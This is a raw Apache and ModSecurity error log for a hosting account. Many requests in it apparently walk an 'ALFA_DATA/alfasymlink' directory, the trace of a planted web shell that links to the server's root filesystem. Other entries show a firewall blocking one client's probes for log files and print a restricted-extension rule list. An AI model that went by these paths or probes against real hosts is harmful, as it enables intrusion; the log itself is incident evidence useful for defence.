[Mon Oct 26 00:41:23.550416 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 18.206.47.187:11033] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:41:27.247326 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 54.235.125.129:64675] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:41:35.461262 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 34.226.89.140:40719] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory7/node0/memory23/subsystem/devices/memory6/node0/cpu0/firmware_node/physical_node/driver/unbind
[Mon Oct 26 00:41:43.097134 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 23.21.175.228:47285] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:41:47.011532 2026] [core:error] [pid 2963578:tid 2963578] (13)Permission denied: [client 18.215.77.19:65048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/subsystem/rescan
[Mon Oct 26 00:41:54.562326 2026] [core:error] [pid 2963512:tid 2963512] (13)Permission denied: [client 185.191.171.10:31600] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/cpu_partial
[Mon Oct 26 00:42:07.228060 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 23.23.213.182:13238] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:42:11.065057 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 18.214.238.178:3320] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:42:15.077955 2026] [ssl:error] [pid 2963512:tid 2963512] (70014)End of file found: [client 34.230.124.21:24432] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:42:19.033705 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 184.73.195.18:62161] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:42:23.043291 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 52.45.92.83:42482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:42:23.043603 2026] [security2:error] [pid 2963542:tid 2963542] [client 52.45.92.83:42482] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:08/uevent"] [unique_id "at7aL98riwHadHMxXEFzFAAAACU"]
[Mon Oct 26 00:42:23.043653 2026] [security2:error] [pid 2963542:tid 2963542] [client 52.45.92.83:42482] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:08/uevent"] [unique_id "at7aL98riwHadHMxXEFzFAAAACU"]
[Mon Oct 26 00:42:27.003361 2026] [core:error] [pid 2963547:tid 2963547] (13)Permission denied: [client 3.224.205.25:14385] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_balloon/virtio2/driver/bind
[Mon Oct 26 00:42:31.033694 2026] [core:error] [pid 2963574:tid 2963574] (13)Permission denied: [client 35.171.117.160:53832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/trace
[Mon Oct 26 00:42:35.079974 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 44.195.50.71:20392] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:42:39.179648 2026] [ssl:error] [pid 2948938:tid 2948938] (5)Input/output error: [client 3.230.224.6:3158] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:42:43.044152 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 54.159.18.27:36015] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:42:46.924105 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 54.159.98.248:34162] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:42:50.838621 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 52.201.155.215:44023] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:42:54.767161 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 44.212.106.171:46223] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:42:58.792607 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 23.23.104.107:59503] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:43:07.723186 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 52.45.92.83:3337] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:43:14.916088 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 34.227.156.153:45356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:43:18.784272 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 44.216.172.204:65107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:43:26.760205 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.221.156.96:48355] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:43:34.692967 2026] [ssl:error] [pid 2961884:tid 2961884] (70014)End of file found: [client 34.231.45.47:43243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:43:35.768685 2026] [security2:error] [pid 2963588:tid 2963588] [client 76.230.108.9:38704] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/debug.log"] [unique_id "at7ad0hKYrNeTnGv3xbJvAAAAEk"]
[Mon Oct 26 00:43:35.769177 2026] [security2:error] [pid 2963588:tid 2963588] [client 76.230.108.9:38704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/debug.log"] [unique_id "at7ad0hKYrNeTnGv3xbJvAAAAEk"]
[Mon Oct 26 00:43:35.770384 2026] [security2:error] [pid 2963588:tid 2963588] [client 76.230.108.9:38704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7ad0hKYrNeTnGv3xbJvAAAAEk"]
[Mon Oct 26 00:43:38.653139 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 34.234.200.207:64770] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:43:42.789758 2026] [ssl:error] [pid 2961884:tid 2961884] (70014)End of file found: [client 18.235.81.246:35221] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:43:50.700438 2026] [security2:error] [pid 2963512:tid 2963512] [client 76.230.108.9:43536] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/app.log"] [unique_id "at7ahg3P_hWp_Ips6H2cKAAAAAY"]
[Mon Oct 26 00:43:50.700908 2026] [security2:error] [pid 2963512:tid 2963512] [client 76.230.108.9:43536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/app.log"] [unique_id "at7ahg3P_hWp_Ips6H2cKAAAAAY"]
[Mon Oct 26 00:43:50.702189 2026] [security2:error] [pid 2963512:tid 2963512] [client 76.230.108.9:43536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7ahg3P_hWp_Ips6H2cKAAAAAY"]
[Mon Oct 26 00:43:53.443712 2026] [security2:error] [pid 2948938:tid 2948938] [client 76.230.108.9:43558] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/error.log"] [unique_id "at7aiVN_bUq_OQDpNPOn8wAAAAo"]
[Mon Oct 26 00:43:53.444134 2026] [security2:error] [pid 2948938:tid 2948938] [client 76.230.108.9:43558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/error.log"] [unique_id "at7aiVN_bUq_OQDpNPOn8wAAAAo"]
[Mon Oct 26 00:43:53.445403 2026] [security2:error] [pid 2948938:tid 2948938] [client 76.230.108.9:43558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7aiVN_bUq_OQDpNPOn8wAAAAo"]
[Mon Oct 26 00:43:58.525470 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 34.195.60.66:32105] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:43:59.533399 2026] [core:error] [pid 2963537:tid 2963537] (13)Permission denied: [client 185.191.171.2:48102] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/cache_dma
[Mon Oct 26 00:44:02.123055 2026] [security2:error] [pid 2963540:tid 2963540] [client 76.230.108.9:56114] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/server.log"] [unique_id "at7aklc7AJYJV1LqGIL4gAAAACI"]
[Mon Oct 26 00:44:02.123422 2026] [security2:error] [pid 2963540:tid 2963540] [client 76.230.108.9:56114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/server.log"] [unique_id "at7aklc7AJYJV1LqGIL4gAAAACI"]
[Mon Oct 26 00:44:02.124249 2026] [security2:error] [pid 2963540:tid 2963540] [client 76.230.108.9:56114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7aklc7AJYJV1LqGIL4gAAAACI"]
[Mon Oct 26 00:44:06.517636 2026] [core:error] [pid 2963543:tid 2963543] (13)Permission denied: [client 98.82.38.120:40774] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input5/subsystem/input1/subsystem/input5/device/driver/module/drivers/platform:pcspkr/bind
[Mon Oct 26 00:44:10.366277 2026] [core:error] [pid 2963578:tid 2963578] (13)Permission denied: [client 98.82.66.172:46656] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty28/subsystem/ttyS1/custom_divisor
[Mon Oct 26 00:44:14.388778 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 52.200.58.199:48874] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:44:18.310069 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 100.28.133.214:40433] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:44:23.030398 2026] [security2:error] [pid 2963578:tid 2963578] [client 76.230.108.9:50866] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/logs/app.log"] [unique_id "at7ap4l8CCaegHlNIHu7lAAAAD8"]
[Mon Oct 26 00:44:23.030826 2026] [security2:error] [pid 2963578:tid 2963578] [client 76.230.108.9:50866] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/logs/app.log"] [unique_id "at7ap4l8CCaegHlNIHu7lAAAAD8"]
[Mon Oct 26 00:44:23.031833 2026] [security2:error] [pid 2963578:tid 2963578] [client 76.230.108.9:50866] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7ap4l8CCaegHlNIHu7lAAAAD8"]
[Mon Oct 26 00:44:26.184685 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 184.73.239.35:27890] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:44:34.283948 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 44.209.187.99:29695] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:44:38.289504 2026] [core:error] [pid 2963578:tid 2963578] (13)Permission denied: [client 184.73.47.24:49675] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/PNP0A03:00/device:17/eject
[Mon Oct 26 00:44:45.153027 2026] [core:error] [pid 2963537:tid 2963537] (13)Permission denied: [client 185.191.171.2:36490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache/store_user
[Mon Oct 26 00:44:46.187653 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 18.235.81.246:59824] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:44:58.175997 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 18.235.81.246:30772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:45:10.154326 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 54.88.84.219:62401] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:45:14.176060 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 107.20.255.194:2993] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:45:22.235973 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 44.221.105.234:20714] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:45:46.228919 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 3.221.156.96:54596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:45:50.171183 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 34.236.185.101:59274] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:45:50.171441 2026] [security2:error] [pid 2963566:tid 2963566] [client 34.236.185.101:59274] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/node0/memory12/subsystem/devices/memory15/valid_zones"] [unique_id "at7a_s9if2Wl_DKO7Xa-iAAAADM"]
[Mon Oct 26 00:45:50.171498 2026] [security2:error] [pid 2963566:tid 2963566] [client 34.236.185.101:59274] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/node0/memory12/subsystem/devices/memory15/valid_zones"] [unique_id "at7a_s9if2Wl_DKO7Xa-iAAAADM"]
[Mon Oct 26 00:45:54.223612 2026] [core:error] [pid 2961884:tid 2961884] (13)Permission denied: [client 85.208.96.207:64156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_table_s/alloc_calls
[Mon Oct 26 00:46:02.173358 2026] [core:error] [pid 2963574:tid 2963574] (13)Permission denied: [client 52.7.13.143:23860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/rescan
[Mon Oct 26 00:46:14.272075 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 3.225.45.252:10271] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:46:18.171812 2026] [security2:error] [pid 2963588:tid 2963588] [client 18.213.240.226:6043] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/slots/16/module/"] [unique_id "at7bGkhKYrNeTnGv3xbJwQAAAEk"]
[Mon Oct 26 00:46:18.171895 2026] [security2:error] [pid 2963588:tid 2963588] [client 18.213.240.226:6043] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/slots/16/module/"] [unique_id "at7bGkhKYrNeTnGv3xbJwQAAAEk"]
[Mon Oct 26 00:46:22.188403 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 18.213.70.100:58712] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:46:26.300398 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 54.197.82.195:1076] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:46:42.502902 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 3.223.181.32:32214] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:46:50.190541 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 52.0.63.151:52190] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:47:22.325806 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 52.2.58.41:35438] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:47:30.199192 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 44.206.65.8:4472] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:47:37.488902 2026] [core:error] [pid 2963578:tid 2963578] (13)Permission denied: [client 85.208.96.199:39806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/red_zone
[Mon Oct 26 00:47:38.187306 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 18.213.102.186:35489] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:47:50.141447 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 34.231.156.59:58529] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/uevent
[Mon Oct 26 00:47:58.230371 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 52.3.127.170:6196] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:48:02.161625 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 52.200.142.199:64873] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:48:10.620134 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 3.224.215.150:53798] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/subsystem/uevent
[Mon Oct 26 00:48:14.240618 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 54.147.238.89:20069] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:48:22.276595 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 35.171.141.42:44553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:48:26.148968 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 98.83.10.183:59803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:48:34.174434 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 23.23.180.225:34330] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:48:34.966687 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 185.191.171.8:40222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:48:36.100218 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 185.191.171.17:57546] AH02013: coalesce failed to read from data bucket
